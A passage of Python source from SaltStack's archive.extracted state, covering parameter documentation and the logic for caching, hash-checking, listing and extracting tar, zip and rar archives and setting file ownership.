        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update : False
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        Note that this is only checked if the ``source`` value has not changed.
        If it has (e.g. to increment a version number in the path) then the
        archive will not be extracted even if the hash has changed.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    keep_source : True
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. To remove the downloaded archive after extraction, set
        this argument to ``False``.

        .. versionadded:: 2017.7.3

    keep : True
        Same as ``keep_source``, kept for backward-compatibility.

        .. note::
            If both ``keep_source`` and ``keep`` are used, ``keep`` will be
            ignored.

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite existing files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument. If the minion is running a release
            older than 2016.11.0, this option is required.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.args.clean_kwargs(**kwargs)

    if 'keep_source' in kwargs and 'keep' in kwargs:
        ret.setdefault('warnings', []).append(
            'Both \'keep_source\' and \'keep\' were used. Since these both '
            'do the same thing, \'keep\' was ignored.'
        )
        keep_source = bool(kwargs.pop('keep_source'))
        kwargs.pop('keep')
    elif 'keep_source' in kwargs:
        keep_source = bool(kwargs.pop('keep_source'))
    elif 'keep' in kwargs:
        keep_source = bool(kwargs.pop('keep'))
    else:
        # Neither was passed, default is True
        keep_source = True

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip(os.sep)
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if if_missing is not None and os.path.exists(if_missing):
        ret['result'] = True
        ret['comment'] = 'Path {0} exists'.format(if_missing)
        return ret

    if user or group:
        if salt.utils.platform.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    urlparsed_scheme = urlparsed_source.scheme
    urlparsed_path = os.path.join(
        urlparsed_source.netloc,
        urlparsed_source.path).rstrip(os.sep)

    # urlparsed_scheme will be the drive letter if this is a Windows file path
    # This checks for a drive letter as the scheme and changes it to file
    if urlparsed_scheme and \
            urlparsed_scheme.lower() in string.ascii_lowercase:
        urlparsed_path = ':'.join([urlparsed_scheme, urlparsed_path])
        urlparsed_scheme = 'file'

    source_hash_basename = urlparsed_path or urlparsed_source.netloc

    source_is_local = urlparsed_scheme in salt.utils.files.LOCAL_PROTOS
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = os.path.realpath(os.path.expanduser(urlparsed_path))
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(
                                salt.utils.url.redact_http_basic_auth(source_match))
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    if options is not None and not isinstance(options, six.string_types):
        options = six.text_type(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output:
        if trim_output is True:
            trim_output = 100
        elif not isinstance(trim_output, (bool, six.integer_types)):
            try:
                # Try to handle cases where trim_output was passed as a
                # string-ified integer.
                trim_output = int(trim_output)
            except TypeError:
                ret['comment'] = (
                    'Invalid value for trim_output, must be True/False or an '
                    'integer'
                )
                return ret

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum'](
                source=source_match,
                source_hash=source_hash,
                source_hash_name=source_hash_name,
                saltenv=__env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret
    else:
        source_sum = {}

    if source_is_local:
        cached = source_match
    else:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = (
                'Archive {0} would be cached (if necessary) and checked to '
                'discover if extraction is needed'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        if 'file.cached' not in __states__:
            # Shouldn't happen unless there is a traceback keeping
            # salt/states/file.py from being processed through the loader. If
            # that is the case, we have much more important problems as _all_
            # file states would be unavailable.
            ret['comment'] = (
                'Unable to cache {0}, file.cached state not available'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        try:
            result = __states__['file.cached'](source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        except Exception as exc:
            msg = 'Failed to cache {0}: {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    exc.__str__())
            log.exception(msg)
            ret['comment'] = msg
            return ret
        else:
            log.debug('file.cached: %s', result)

        if result['result']:
            # Get the path of the file in the minion cache
            cached = __salt__['cp.is_cached'](source_match, saltenv=__env__)
        else:
            log.debug(
                'failed to download %s',
                salt.utils.url.redact_http_basic_auth(source_match)
            )
            return result

    existing_cached_source_sum = _read_cached_checksum(cached)

    if source_hash and source_hash_update and not skip_verify:
        # Create local hash sum file if we're going to track sum update
        _update_checksum(cached)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        salt.utils.url.redact_http_basic_auth(source_match)
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or contents['top_level_files']):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    extraction_needed = overwrite
    contents_missing = False

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = salt.utils.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                            contents_missing = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    if not extraction_needed \
            and source_hash_update \
            and existing_cached_source_sum is not None \
            and not _compare_checksum(cached, existing_cached_source_sum):
        extraction_needed = True
        source_hash_trigger = True
    else:
        source_hash_trigger = False

    created_destdir = False

    if extraction_needed:
        if source_is_local and source_hash and not skip_verify:
            ret['result'] = __salt__['file.check_hash'](source_match, source_sum['hsum'])
            if not ret['result']:
                ret['comment'] = \
                    '{0} does not match the desired source_hash {1}'.format(
                        salt.utils.url.redact_http_basic_auth(source_match),
                        source_sum['hsum']
                    )
                return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            _add_explanation(ret, source_hash_trigger, contents_missing)
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __states__['file.directory'](name, user=user, makedirs=True)
            created_destdir = True

        log.debug('Extracting %s to %s', cached, name)
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      extract_perms=extract_perms,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached, 'r')) as tar:
                            tar.extractall(salt.utils.stringutils.to_str(name))
                            files = tar.getnames()
                            if trim_output:
                                files = files[:trim_output]
                    except tarfile.ReadError:
                        if salt.utils.path.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-t', cached],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.path.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse)
                log.debug('file.directory: %s', dir_result)

                if dir_result.get('changes'):
                    ret['changes']['updated ownership'] = True
                try:
                    if not dir_result['result']:
                        enforce_failed.append(full_path)
                except (KeyError, TypeError):
                    log.warning(
                        'Bad state return %s for file.directory state on %s',
                        dir_result, dirname
                    )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if files:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(
                salt.utils.url.redact_http_basic_auth(source_match),
                name,
            )
            _add_explanation(ret, source_hash_trigger, contents_missing)
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'No files were extracted from {0}'.format(
                salt.utils.url.redact_http_basic_auth(source_match)
            )
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_level dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
